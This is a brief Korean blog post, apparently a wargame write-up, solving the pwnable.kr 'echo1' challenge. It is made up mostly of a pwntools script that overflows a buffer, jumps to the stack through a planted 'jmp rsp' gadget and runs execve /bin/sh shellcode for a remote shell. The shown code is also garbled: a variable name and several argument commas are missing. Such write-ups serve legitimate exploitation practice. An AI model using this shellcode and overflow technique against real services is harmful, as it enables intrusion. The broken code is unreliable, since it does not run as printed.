Wargame/▷ pwnable.kr

[pwnable.kr] echo1

Gyeongje 2018. 7. 20. 00:48
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
 
= remote('pwnable.kr'9010)
context(arch='amd64',os='linux')
id_addr = 0x6020a0
shell = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
 
jmp_rsp = asm('jmp rsp')
 
payload = 'A'*0x28
payload += p64(id_addr)
payload += shell
 
p.sendlineafter(' : ', jmp_rsp)
p.sendlineafter('> ''1')
p.recv(1024)
p.sendline(payload)
 
p.interactive()
cs

입력값이 bss 주소로 4byte만 복사되기 때문에 jmp rsp 어셈 문자열을 따로 생성해두고 쉘코드로 잘 점프할 수 있게 조작하여 풀었다.